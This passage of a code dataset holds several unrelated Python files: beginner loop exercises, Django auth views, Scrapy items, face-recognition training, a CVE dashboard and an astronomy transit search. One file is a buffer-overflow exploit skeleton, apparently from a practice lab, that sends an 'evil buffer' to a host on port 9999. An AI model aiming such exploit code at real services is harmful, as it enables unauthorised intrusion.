sebesar:\")\n\tprint(sub_total)\n\nprint('---------Menu--------')\nprint('[1]Kirim sekarang')\nprint('[2]Kirim nanti')\nchoose = input('pilih')\nif choose == '1':\n\tsendNow()\n\t# print('ok')\nelif choose == '2':\n\tprint('nanti aku kirim')\nelse:\n\tprint('ga ada pilihan')\nprint('pilihan anda ', choose)\n\n# total = tagihan[0] + tagihan[1] + tagihan[2] + tagihan[3] +tagihan[4]\n# print(total)\ndef perulanganWhile():\n\ttagihan = [50000 ,75000, 125000, -300000, 200000]\n\ttotal_tagihan = 0\n\ti=0\n\tjumlah_tagihan = len(tagihan)\n\twhile i < jumlah_tagihan:\n\t\t#? ini penggunaan continue\n\t\tif tagihan[i] < 0:\n\t\t\ti += 1\n\t\t\tcontinue\n\n\t\ttotal_tagihan += tagihan[i]\n\t\ti += 1\n\t\t\n\n\tprint('Menggunakan While Loop', total_tagihan)\n\nperulanganWhile()\n\n\t\t#? ini penggunaan break\n\t\t#! if tagihan[i] < 0:\n\t\t#! \ttotal_tagihan = -1\n\t\t#! \tprint('Tagihan tidak ada atau kosong')\n\t\t#! \tbreak\n\n#* for loop\ndef perulanganFor():\n\ttest_tagihan = [50000 ,75000, 125000, 300000, 200000]\n\t# jumlah_tagihan = len(tagihan)\n\ttotalTagihan = 0\n\tfor i in test_tagihan:\n\t\t# break section\n\t\tif i < 0:\n\t\t\tprint('Data ada yg 0')\n\t\t\tbreak\n\t\ttotalTagihan += i\n\tprint('Menggunakan For Loop', totalTagihan)\n\nperulanganFor()\n\n#* Nested For Loop\ndef nestedFor():\n\tnama_daerah = ['Surabaya', 'Makassar', 'Bali']\n\tnama_buah = ['Jeruk', 'Salak', 'Pisang', 'Durian']\n\tfor i in nama_daerah:\n\t\tfor j in nama_buah:\n\t\t\tprint('Nama Daerah', i + 'Nama Buah', j)\n\nnestedFor()\n","sub_path":"task/data_warehouse.py","file_name":"data_warehouse.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"55095533","text":"import socket\n\nip = \"10.10.56.156\"\nport = 9999\n\n#prefix = \"OVERFLOW3 \"\noffset = 0\noverflow = \"A\" * offset\nretn = \"\"\n#retn = \"BBBB\"\n#retn = \"\\xf3\\x12\\x17\\x31\"\n\npadding = \"\"\n#padding = \"\\x90\" * 16\npayload = \"\"\n#postfix = \"\"\n\nbuffer = overflow + retn + padding + payload #+ postfix\n#buffer = prefix + overflow + retn + padding + payload + postfix\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ntry:\n s.connect((ip, port))\n print(\"Sending evil buffer...\")\n s.send(buffer + \"\\r\\n\")\n print(\"Done!\")\nexcept:\n print(\"Could not connect.\")\n","sub_path":"Bufferoverflow/brainpan/exploit_intial.py","file_name":"exploit_intial.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"519335287","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.shortcuts import render, HttpResponse, redirect\nfrom .models import User\nfrom django.contrib import messages\nfrom django.contrib.messages import get_messages\nfrom datetime import datetime\nimport bcrypt\n\n# Create your views here.\ndef index(request):\n\tcontext = {\n\t\t'messages': get_messages(request)\n\t}\n\treturn render(request, 'log_and_reg/index.html', context)\n\ndef add(request):\n\tif request.method == \"POST\":\n\t\terrors = User.objects.registration_validator(request.POST)\n\t\tif len(errors):\n\t\t\tfor tag, error in errors.iteritems():\n\t\t\t\tmessages.error(request, error, extra_tags=tag)\n\t\t\treturn redirect('/')\n\t\telse:\n\t\t\thash_pass = bcrypt.hashpw(request.POST['password'].encode(), bcrypt.gensalt())\n\t\t\tdate_format = \"%Y-%m-%d\"\n\t\t\tinput_dob = datetime.strptime(request.POST['dob'], date_format)\n\t\t\tuser = User.objects.create(name=request.POST['name'], alias=request.POST['alias'], email=request.POST['email'], password=hash_pass, dob=input_dob)\n\t\t\tmessages.success(request, 'Welcome ' + user.alias + ', you\\'ve successfully registered!', extra_tags='register')\n\t\t\treturn redirect('/')\n\ndef login(request):\n\tif request.method == \"POST\":\n\t\terrors = User.objects.login_validator(request.POST)\n\t\tif len(errors):\n\t\t\tfor tag, error in errors.iteritems():\n\t\t\t\tmessages.error(request, error, extra_tags=tag)\n\t\t\treturn redirect('/')\n\t\telse:\n\t\t\tuser = User.objects.get(email=request.POST['email'])\n\t\t\trequest.session['user_id'] = user.id\n\t\t\treturn redirect('/quotes')\n\ndef logout(request):\n\trequest.session.pop('user_id', None)\n\treturn redirect('/')","sub_path":"apps/log_and_reg/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"123710048","text":"import os\nimport face_recognition\nimport numpy as np\nfrom sklearn import svm\nimport joblib\n\n\n# 加载人脸图片并进行编码\ndef Encode():\n image_path = \"./face_database/\"\n data_path = \"./face_encode/\"\n person_list = os.listdir(image_path)\n for person in person_list:\n # if os.path.isfile(data_path + person) is 0:\n if not os.listdir(data_path + person):\n print(image_path + person)\n image_list = os.listdir(image_path + person)\n for i in range(len(image_list)):\n image = image_list[i]\n face = face_recognition.load_image_file(image_path + person + \"/\" + image) # 加载人脸图片\n face_locations = face_recognition.face_locations(face) # 检测人脸位置\n try:\n face_enc = face_recognition.face_encodings(face, face_locations)[0] # 将人脸特征进行编码\n except:\n continue\n np.save(data_path + person + \"/\" + image.split(\".\")[0], face_enc)\n\n# 训练SVC\ndef Train_SVC():\n\n encodings = []\n names = []\n name_dict = {}\n # 加载人脸数据库并学习\n data_path = \"./face_encode/\"\n person_list = os.listdir(data_path)\n for i, person in enumerate(person_list):\n data_list = os.listdir(data_path + person)\n for data in data_list:\n print(i, data)\n encodings.append(np.load(data_path + person + \"/\" + data).tolist())\n names.append(int(i))\n name_dict[i] = person\n\n clf = svm.SVC(C=20, probability=True)\n clf.fit(encodings, names)\n\n joblib.dump(clf, \"./model/svm_face.model\")\n\n f = open('./model/name.txt', 'w')\n f.write(str(name_dict))\n f.close()\n\n\nif __name__ == '__main__':\n Encode()\n Train_SVC()\n pass\n","sub_path":"人脸识别/登记系统的制作/Svm_model_train.py","file_name":"Svm_model_train.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"86186311","text":"# -*- coding: utf-8 -*-\n\n# Define here the models for your scraped items\n#\n# See documentation in:\n# https://doc.scrapy.org/en/latest/topics/items.html\n\nimport datetime\n\nimport scrapy\nfrom scrapy.loader import ItemLoader\nfrom scrapy.loader.processors import (MapCompose, TakeFirst, Identity, Join)\nfrom w3lib.html import remove_tags\n\nfrom .utils.common import (extract_num, remove_splash, handle_break_line)\nfrom .utils.item_handle import (date_convert)\nfrom .settings import (SQL_DATE_FORMAT, SQL_DATETIME_FORMAT)\n\n\nclass AntdAsideNavItem(scrapy.Item):\n primary_title = scrapy.Field()\n secondary_title = scrapy.Field()\n secondary_name = scrapy.Field()\n secondary_key = scrapy.Field()\n\n\nclass ZhihuQuestionItem(scrapy.Item):\n # 知乎的问题item\n zhihu_id = scrapy.Field()\n topics = scrapy.Field()\n url = scrapy.Field()\n title = scrapy.Field()\n content = scrapy.Field()\n answer_num = scrapy.Field()\n comments_num = scrapy.Field()\n watch_user_num = scrapy.Field()\n click_num = scrapy.Field()\n crawl_time = scrapy.Field()\n\n def get_insert_sql(self):\n insert_sql = '''\n insert into zhihu_question(zhihu_id, topics, url, title, content,\n answer_num, comments_num, watch_user_num, click_num, crawl_time)\n VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\n ON DUPLICATE KEY UPDATE title=VALUES(title),\n topics=VALUES(topics),\n content=VALUES(content),\n answer_num=VALUES(answer_num),\n comments_num=VALUES(comments_num),\n watch_user_num=VALUES(watch_user_num),\n click_num=VALUES(click_num)\n '''\n zhihu_id = self['zhihu_id'][0]\n topics = ','.join(self['topics'])\n url = self['url'][0]\n title = ''.join(self['title'])\n content = ''.join(self['content'])\n answer_num = extract_num(''.join(self['answer_num']))\n comments_num = extract_num(''.join(self['comments_num']))\n crawl_time = datetime.datetime.now().strftime(SQL_DATETIME_FORMAT)\n if len(self[\"watch_user_num\"]) == 2:\n watch_user_num = int(self[\"watch_user_num\"][0].replace(',', ''))\n click_num = int(self[\"watch_user_num\"][1].replace(',', ''))\n else:\n watch_user_num = int(self[\"watch_user_num\"][0].replace(',', ''))\n click_num = 0\n\n params = (zhihu_id, topics, url, title, content,\n answer_num, comments_num, watch_user_num,\n click_num, crawl_time)\n return insert_sql, params\n\n\nclass ZhihuAnswerItem(scrapy.Item):\n # 知乎的问题回答item\n zhihu_id = scrapy.Field()\n url = scrapy.Field()\n question_id = scrapy.Field()\n author_id = scrapy.Field()\n content = scrapy.Field()\n praise_num = scrapy.Field()\n comments_num = scrapy.Field()\n create_time = scrapy.Field()\n update_time = scrapy.Field()\n crawl_time = scrapy.Field()\n\n def get_insert_sql(self):\n insert_sql = '''\n insert into zhihu_answer(zhihu_id, url, question_id, author_id,\n content, praise_num, comments_num, create_time, update_time,\n crawl_time, crawl_update_time)\n VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\n ON DUPLICATE KEY UPDATE content=VALUES(content),\n praise_num=VALUES(praise_num),\n comments_num=VALUES(comments_num),\n update_time=VALUES(update_time),\n crawl_update_time=VALUES(crawl_time)\n '''\n\n create_time = datetime.datetime.fromtimestamp(\n self['create_time']).strftime(SQL_DATE_FORMAT)\n update_time = datetime.datetime.fromtimestamp(\n self['update_time']).strftime(SQL_DATE_FORMAT)\n params = (\n self['zhihu_id'], self['url'], self['question_id'],\n self['author_id'], self['content'], self['praise_num'],\n self['comments_num'], create_time, update_time,\n self['crawl_time'].strftime(SQL_DATETIME_FORMAT),\n None\n )\n return insert_sql, params\n\n\nclass LagouJobItem(scrapy.Item):\n # 拉勾网职位信息item\n title = scrapy.Field()\n url = scrapy.Field()\n url_object_id = scrapy.Field()\n salary = scrapy.Field()\n job_city = scrapy.Field(\n input_processor=MapCompose(remove_splash),\n )\n work_years = scrapy.Field(\n input_processor=MapCompose(remove_splash),\n )\n degree_need = scrapy.Field(\n input_processor=MapCompose(remove_splash),\n )\n job_type = scrapy.Field()\n publish_time = scrapy.Field()\n job_advantage = scrapy.Field()\n job_desc = scrapy.Field(\n input_processor=MapCompose(remove_tags, handle_break_line),\n )\n job_addr = scrapy.Field(\n input_processor=MapCompose(remove_tags, handle_break_line),\n )\n company_name = scrapy.Field()\n company_url = scrapy.Field()\n tags = scrapy.Field(\n input_processor=Join(',')\n )\n crawl_time = scrapy.Field()\n\n def get_insert_sql(self):\n insert_sql = '''\n insert into lagou_job(title, url, url_object_id, salary, job_city,\n work_years, degree_need, job_type, publish_time, job_advantage,\n job_desc, job_addr, company_name, company_url, tags, crawl_time)\n VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\n ON DUPLICATE KEY UPDATE salary=VALUES(salary),\n job_desc=VALUES(job_desc)\n '''\n params = (\n self['title'], self['url'], self['url_object_id'], self['salary'],\n self['job_city'], self['work_years'], self['degree_need'],\n self['job_type'], self['publish_time'], self['job_advantage'],\n self['job_desc'], self['job_addr'], self['company_name'],\n self['company_url'], self['tags'],\n self['crawl_time'].strftime(SQL_DATETIME_FORMAT),\n )\n return insert_sql, params\n\n\nclass AntdComponentDetailItem(scrapy.Item):\n desc = scrapy.Field()\n name = scrapy.Field()\n key = scrapy.Field()\n key = scrapy.Field()\n easy_to_use = scrapy.Field()\n category_name = scrapy.Field()\n\n\nclass CnblogsItem(scrapy.Item):\n title = scrapy.Field(\n input_processor=MapCompose(lambda x: x.strip())\n )\n create_date = scrapy.Field(\n input_processor=MapCompose(date_convert)\n )\n url = scrapy.Field()\n url_object_id = scrapy.Field()\n front_image_url = scrapy.Field(\n output_processor=Identity()\n )\n front_image_path = scrapy.Field()\n praise_nums = scrapy.Field()\n comment_nums = scrapy.Field()\n fav_nums = scrapy.Field()\n tags = scrapy.Field(\n output_processor=Join(separator=',')\n )\n content = scrapy.Field()\n\n def get_insert_sql(self):\n insert_sql = '''\n insert into cnblogs(title, url_object_id)\n VALUES (%s, %s) ON DUPLICATE KEY UPDATE title=VALUES(title)\n '''\n params = (self['url_object_id'], self['title'])\n\n return insert_sql, params\n\n\nclass ScrapyDemoItem(scrapy.Item):\n url = scrapy.Field()\n url_object_id = scrapy.Field()\n tag = scrapy.Field()\n date_type = scrapy.Field()\n title_homepage = scrapy.Field()\n title_detail = scrapy.Field(\n input_processor=MapCompose(lambda x: x.strip())\n )\n describe = scrapy.Field(\n input_processor=MapCompose(lambda x: x.strip())\n )\n programming_language = scrapy.Field()\n star = scrapy.Field(\n input_processor=MapCompose(extract_num)\n )\n fork = scrapy.Field(\n input_processor=MapCompose(extract_num)\n )\n build_by = scrapy.Field()\n octicon_star = scrapy.Field(\n input_processor=MapCompose(lambda x: x.strip())\n )\n\n\nclass CustomItemLoader(ItemLoader):\n '''\n 自定义item_loader:取list的first_extract\n '''\n default_output_processor = TakeFirst()\n","sub_path":"ScrapyDemo/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":7881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"346897096","text":"\nclass StaditicBasic():\n\tdef sums(self, x): #ingresa datos de la poblacion\n\t\tcantidad = 0\n\t\tfor i in x:\n\t\t\tcantidad = cantidad + i\n\t\treturn cantidad\n\tdef desviacion_estandar(self, y, z, n): # ingresa los datos de la poblacion mas la media y la el total de poblacion\n\t\tdivicion = 0\n\t\tnn = n-1 \n\t\th = [h-z for h in y ]\n\t\tf = [f**2 for f in h]\n\t\tfor i in f:\n\t\t\tdivicion = divicion + i\n\t\trest = divicion/nn\n\t\tdesv_estandar = rest**0.5\n\t\treturn desv_estandar \n\t\t\t\n\tdef nivel_significancia(self, x):\n\t\tif x == 90 or x == 10:\n\t\t\ts = 1 - 0.9\n\t\t\ty = round(s,2)\n\t\telif x == 95 or x == 5:\n\t\t\ts = 1 - 0.95\n\t\t\ty = round(s,2)\n\t\telif x == 99 or x == 1:\n\t\t\ts = 1 - 0.99\n\t\t\ty = round(s,2)\n\t\treturn y\n\tdef regla_decicion(self, x, y):\n\t\ttalba_z_dos_colas=[1.65, 1.96, 2.58, 3.29]\n\t\ttalba_z_una_cola = [1.28, 1.65, 2.33]\n\t\tif x == 2:\n\t\t\tif y == 0.1: j = talba_z_dos_colas[0]\n\t\t\tif y == 0.05: j = talba_z_dos_colas[1]\n\t\t\tif y == 0.01: j = talba_z_dos_colas[2]\n\t\t\treturn j\n\t\tif x == 1:\n\t\t\tif y == 0.1: j = talba_z_una_cola[0]\n\t\t\tif y == 0.05: j = talba_z_una_cola[1]\n\t\t\tif y == 0.01: j = talba_z_una_cola[2]\n\t\t\treturn j\n\t\t\n\tdef validacion_conclucion(self,x,y,z):\n\t\tif x > y or x > z: return \"se acepta la Ha y se rechaza la Ho\"\n\t\tif x < y or x < z: return \"se acepta la Ho y se rechaza la Ha\"","sub_path":"build/lib/stadistic_basic/stadisticBasic.py","file_name":"stadisticBasic.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"610633985","text":"# -*- coding = utf-8 -*-\n# @Time:2020/9/30 14:52\n# @Author:李润霖\n# @File:pra_pandas.py\n# @Software:PyCharm\n\nimport pandas as pd\nimport os\n\npd.set_option('display.unicode.ambiguous_as_wide', True)\npd.set_option('display.unicode.east_asian_width', True)\n\nos.chdir(r'D:\\MyData\\MyProgram\\PY program\\My')\ndf = pd.read_excel(r\".\\data\\text\\超市营业额.xlsx\", usecols=['工号', '姓名', '时段', '交易额'])\n# print(df[:10])\n\nkd=df.sort_values(by='交易额', axis=0, ascending=False)\n# print(kd)\nprint(df.groupby(by='工号')['交易额'].sum())\n","sub_path":"PY program/My/py/practice/pandas/pra_pandas.py","file_name":"pra_pandas.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"278998398","text":"# -*- coding: utf-8 -*-\n\"\"\"\n# Clay.config\n\n\"\"\"\nfrom os.path import abspath, join, dirname\n\nSOURCE_DIR = u'source'\nBUILD_DIR = u'build'\nVIEWS_INDEX = u'_index.html'\n\nDEFAULT_TEMPLATES = join(abspath(dirname(__file__)), u'source')\n\nIGNORE = ('.', '_')\n\ndefault_settings = {\n 'host': '0.0.0.0',\n 'port': 8080,\n\n 'plain_text': ['.js', ],\n 'views_ignore': [],\n 'views_list_ignore': [],\n\n 'pre_processors': ['scss', 'less', 'coffee', 'markdown'],\n 'post_processors': ['pygments',],\n\n 'theme_prefix': '',\n}\n\napp_settings = {\n 'RELOADER': False,\n}\n\n","sub_path":"clay/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"328754934","text":"from django.shortcuts import render\nfrom rss_feed_collector.models import Cve\nfrom nmap_connector.models import DiscoveredService\nfrom nessus_connector.models import Vulnerability\nfrom django.contrib.auth.decorators import login_required\nimport random\n\n\n# Create your views here.\ndef __get_vulnerabilities_by_product():\n vulns_by_product = {}\n for vuln in Vulnerability.objects.all():\n if vuln.vulnerable_service is None or not vuln.vulnerable_service.product:\n if 'Other' in vulns_by_product:\n vulns_by_product['Other'] += 1\n else:\n vulns_by_product['Other'] = 0\n else:\n if vuln.vulnerable_service.product in vulns_by_product:\n vulns_by_product[vuln.vulnerable_service.product] += 1\n else:\n vulns_by_product[vuln.vulnerable_service.product] = 0\n return vulns_by_product\n\n\n@login_required\ndef dashboard(request):\n \"\"\"\n View function for home page of site.\n \"\"\"\n cves = Cve.objects.all()[:5]\n vulns = Vulnerability.objects.all().exclude(vulnerable_service=None)[:5]\n\n vulns_by_product = __get_vulnerabilities_by_product()\n print(vulns_by_product)\n\n vulns_by_product_chart_data = {}\n vulns_by_product_chart_data['labels'] = list(vulns_by_product.keys())\n vulns_by_product_chart_data['datasets'] = []\n dataset = {}\n dataset['data'] = list(vulns_by_product.values())\n dataset['backgroundColor'] = []\n for l in vulns_by_product_chart_data['labels']:\n dataset['backgroundColor'].append('#%02X%02X%02X' % (\n random.randint(0, 255),\n random.randint(0, 255),\n random.randint(0, 255)))\n\n vulns_by_product_chart_data['datasets'].append(dataset)\n\n return render(\n request,\n 'index.html',\n context={'cves': cves, 'vulns': vulns, 'vulns_by_product': vulns_by_product_chart_data}\n )\n\n\n@login_required\ndef hosts_page(request):\n services = DiscoveredService.objects.all()\n return render(\n request,\n 'hosts.html',\n context={'services': services}\n )\n\n\n@login_required\ndef cves_page(request):\n cves = Cve.objects.all()\n return render(\n request,\n 'cves.html',\n context={'cves': cves}\n )\n\n\n@login_required\ndef host_detail(request, id):\n services = [DiscoveredService.objects.get(id=id)]\n return render(\n request,\n 'hosts.html',\n context={'services': services}\n )\n\n\n@login_required\ndef service_detail(request, id):\n service = DiscoveredService.objects.get(id=id)\n vulns = Vulnerability.objects.filter(vulnerable_service=service)\n return render(\n request,\n 'service-detail.html',\n context={'service': service, 'vulns': vulns}\n )\n","sub_path":"cve_watchdog/dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"181174167","text":"import numpy as np\nimport math\n\nfrom hit import Hit\n\nclass Sphere:\n\tdef __init__(self, pos=np.array([0,0,0]), r=1, material={\"color\":np.array([1.0,1.0,1.0]), \"ka\":0.2, \"kd\":0.7, \"ks\":0.5, \"n\":64}):\n\t\tself.pos = pos\n\t\tself.r = r\n\t\tself.material = material\n\n\tdef intersect(self, ray):\n\t\tl = self.pos - ray.o\n\t\ttca = np.dot(l, ray.d)\n\t\tif tca < 0:\n\t\t\treturn None #no hit\n\n\t\tl_length = np.linalg.norm(l)\n\t\td = math.sqrt(l_length * l_length - tca*tca)\n\t\tif d > self.r:\n\t\t\treturn None # no hit\n\n\t\tthc = math.sqrt(self.r*self.r - d*d)\n\t\tt0 = tca - thc\n\t\tt1 = tca + thc\n\t\tt = min(t0, t1)\n\t\thit_p = ray.at(t)\n\t\tn = (hit_p - self.pos) / np.linalg.norm(hit_p - self.pos)\n\t\t\n\t\treturn Hit(t, n)\n\n\tdef __repr__(self):\n\t\treturn f\"Sphere({self.pos}, {self.r}, {self.material})\"","sub_path":"sphere.py","file_name":"sphere.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"404385802","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import (division, print_function, absolute_import,\n unicode_literals)\n\n__all__ = []\n\nimport time\nimport numpy as np\nimport matplotlib.pyplot as pl\nfrom george import GaussianProcess\n\nfrom bart.injection import kepler_injection\n\n# Choose a Kepler target.\n# kicid = 10979438\nkicid = 3641858\n\n# Inject a transit with known parameters.\ntruth = 300.0, 0.01, 20.0\n# truth = 278.1045694, 0.01, 20.0\ndatasets, ps = kepler_injection(kicid, truth[0], truth[1], b=0.0, t0=truth[2])\n\n# Discard any datasets that are too small.\ndatasets = [ds for ds in datasets if len(ds.time) > 10]\nprint(len(datasets))\n\n[pl.plot(ds.time % truth[0], ds.flux + i * 1e-4, \".k\")\n for i, ds in enumerate(datasets)]\npl.xlim(10., 30.)\npl.savefig(\"data.png\")\n\n# Concatenate the time array.\ndsmask, times = zip(*np.concatenate([np.array((i+np.zeros(len(ds.time)),\n ds.time)).T\n for i, ds in enumerate(datasets)]))\ndsmask = np.array(dsmask, dtype=int)\ntimes = np.array(times)\nmasks = [dsmask == i for i in range(len(datasets))]\n\n# Initialize and pre-compute some GPs.\ngps = [GaussianProcess([1e-4, 1.0, 3.0]) for ds in datasets]\n[gp.compute(ds.time, ds.ferr) for gp, ds in zip(gps, datasets)]\n\n# Compute the null likelihood value.\nnull = np.sum([gp.lnlikelihood(ds.flux - 1)\n for m, gp, ds in zip(masks, gps, datasets)])\nprint(null)\n\n# Loop over a grid of phases.\nt0s = np.arange(0.0, truth[0], 0.1)\nlnlike = np.empty_like(t0s)\nstrt = time.time()\nps.planets[0].r = 0.01\nfor i, t0 in enumerate(t0s):\n ps.planets[0].t0 = t0\n lc = ps.light_curve(times)\n lnlike[i] = np.sum([gp.lnlikelihood(ds.flux - lc[m])\n for m, gp, ds in zip(masks, gps, datasets)]) - null\nprint(\"{0} seconds per phase\".format((time.time() - strt) / len(t0s)))\n\n# Plot the likelihoods.\npl.clf()\npl.plot(t0s, lnlike, \"k\")\npl.savefig(\"lnlike.png\")\n","sub_path":"documents/search/code/grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"641952975","text":"# The HTML parser\nfrom bs4 import BeautifulSoup\n# Fetching imdb's source\nfrom urllib import request\n\n# The model to save our data to\nfrom ..models import Actor\n\nmen_list = 'http://www.imdb.com/list/ls050274118/'\nwomen_list = 'http://www.imdb.com/list/ls000055475/'\n\n\n# For Django's manage.py runscript\ndef run():\n\n def fetch_data_and_populate(imdb_list_url, gender):\n html = request.urlopen(imdb_list_url).read()\n soup = BeautifulSoup(html, 'html.parser')\n # A list with BeautifulSoup items to iterate over\n actor_items = soup.findAll('div', {'class': 'list_item'})\n new_actors = []\n for actor in actor_items:\n # Finds .list_item b a and its content\n name = actor.b.a.text\n # Finds .list_item's img tag and its source\n img_url = actor.img['src']\n # Create a new Actor object\n new_actors.append(Actor(name=name, img_url=img_url, gender=gender))\n\n # Save all models in 1 query instead of 100\n Actor.objects.bulk_create(new_actors)\n\n fetch_data_and_populate(men_list, 'M')\n fetch_data_and_populate(women_list, 'F')\n","sub_path":"web/web/scripts/populate_db.py","file_name":"populate_db.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"650241749","text":"import logging\nfrom asyncio import sleep\nimport uuid\nimport datetime\nimport time\nimport dazl\nimport dazl.client.config\nimport sys\nimport asyncio\n\nfrom dazl.model.reading import ReadyEvent, ContractCreateEvent\n\ndazl.setup_default_logger(logging.INFO)\nlogging.basicConfig(filename='bot.log', level=logging.INFO)\nEPOCH = datetime.datetime.utcfromtimestamp(0)\n\ndef send(party, cid, choice_name, newOwner, name):\n logging.info(party + ' is exercising ' + choice_name + ' on ' + str(cid))\n return dazl.exercise(cid, choice_name, {'newOwner': newOwner})\n\ndef init(network: dazl.Network, owner):\n sender_client = network.aio_party(owner)\n\ndef register_handler(network: dazl.Network, party):\n party_client = network.aio_party(party)\n\n\n\n @party_client.ledger_ready()\n async def init(event: ReadyEvent):\n cmds = []\n\n # fix oddity where contracts not showing initially\n await asyncio.sleep(5)\n\n donateTo = None\n assets = event.acs_find_active('Main:DonorConfig', match=lambda cdata: cdata['owner'] == party)\n if len(assets) == 0:\n logging.info(\"Initializing DonorConfig for \" + party)\n #return dazl.create('Main:DonorConfig', {'owner': party, 'donateTo': 'Alice'})\n await party_client.submit_create('Main:DonorConfig', {'owner': party, 'donateTo': 'Alice'});\n donateTo = 'Alice'\n\n donor_config = event.acs_find_active('Main:DonorConfig', match=lambda cdata: cdata['owner'] == party)\n for donorCid, donorData in donor_config.items():\n donateTo = donorData['donateTo']\n logging.info(\"Party: {} is configured to donate to: {}\".format(party, donateTo))\n\n assets = event.acs_find_active('Main:Asset', match=lambda cdata: cdata['owner'] == party)\n for assetCid, assetData in assets.items():\n if party != donateTo:\n cmds.append(send(party, assetCid, 'Give', donateTo, assetData['name']))\n\n return cmds\n\n @party_client.ledger_created('Main:Asset')\n async def ping(event: ContractCreateEvent):\n cmds = []\n\n if event.cdata['owner'] == party:\n logging.info(\"New asset created for {}: {}\".format(event.cdata['owner'], event.cdata['name']))\n #await sleep(1)\n #return send(party, event.cid, 'RespondPong', event.cdata['count'])\n\n donateTo = None\n donor_config = event.acs_find_active('Main:DonorConfig', match=lambda cdata: cdata['owner'] == party)\n for donorCid, donorData in donor_config.items():\n donateTo = donorData['donateTo']\n\n logging.info(\"Party: {} is configured to donate to: {}\".format(party, donateTo))\n\n assets = event.acs_find_active('Main:Asset', match=lambda cdata: cdata['owner'] == party)\n for assetCid, assetData in assets.items():\n if party != donateTo:\n cmds.append(send(party, assetCid, 'Give', donateTo, assetData['name']))\n\n return cmds\n\ndef dazl_main(network):\n\n network.set_config(\n url=\"http://ledger.acme.com:6865\",\n )\n init(network, 'George')\n register_handler(network, 'George')\n\ndef main(argv):\n\n dazl.run(dazl_main)\n\nif __name__ == '__main__':\n main(sys.argv[1:])\n","sub_path":"bot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"521861160","text":"#! /usr/bin/env python3\n\nimport cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sys\nimport time\n\ndisplay = False\n\ndef loadFrames(directory, n):\n frames = [] \n capture = cv2.VideoCapture(directory)\n count = 0\n while True:\n (grabbed, frame) = capture.read()\n if grabbed and count < n:\n #frame = cv2.resize(cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY), (64, 32))\n frame = cv2.resize(frame, (32, 16), interpolation=cv2.INTER_LANCZOS4)\n #frame = cv2.resize(frame, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_LANCZOS4)\n frame = cv2.calcHist([frame], [0], None, [256], [0,256])\n frames.append(frame)\n count += 1\n else:\n break\n #cv2.imshow(directory, frame)\n #if cv2.waitKey(1) & 0xFF == ord('q'):\n # break\n print(\"Frames from video {} loaded! size: {} kb\".format(directory,\n sys.getsizeof(frames)/1024))\n return frames\n\ndef processFrames(frames):\n #Apply patch normalization and local contrast enhancement\n return applyLocalContrast(frames) \n\ndef compareFrames(reference, query):\n pass\n\n'''\n This normalizes a difference vector of a\n query/reference pair by normalizing it \n against a window of surrounding vectors\n'''\ndef normalizeWindow(window):\n pass\n\ndef buildDifferenceMatrix(refHist, queryHist):\n rows = len(refHist)\n columns = len(queryHist)\n matrix = np.empty([rows, columns])\n print(\"Difference matrix of size: \\n\\t - ref {} \\n\\t - query {}\".format(rows, columns))\n for row in range(rows):\n for column in range(columns):\n #D = np.true_divide(refFrames[row], (128)) - np.true_divide(queryFrames[column], (128))\n D = np.subtract(refFrames[row],queryHist[column])\n SAD = np.sum(np.absolute(D)) / pixels\n #print(SAD)\n matrix[row][column] = SAD\n if display:\n cv2.imshow('matrix', cv2.resize(matrix, (window_height, window_width), interpolation=cv2.INTER_AREA))\n if display:\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n if display:\n while True:\n cv2.imshow('matrix', cv2.resize(matrix, (window_height, window_width), interpolation=cv2.INTER_AREA))\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n plt.imshow(matrix)\n plt.colorbar()\n plt.show()\n return matrix\n\ndef normaliseDifferenceMatrix(matrix, window):\n rows, columns = np.shape(matrix)\n norm_matrix = np.zeros([rows, columns])\n \n for column in range(columns):\n for row in range(rows):\n #print(matrix[row:row+window, column])\n ya = int(max(0,row-(window/2)))\n yb = int(min(rows, row+(window/2)))\n #print(\"WINDOW: {} -{}- {}\".format(ya,row,yb))\n local_vector = 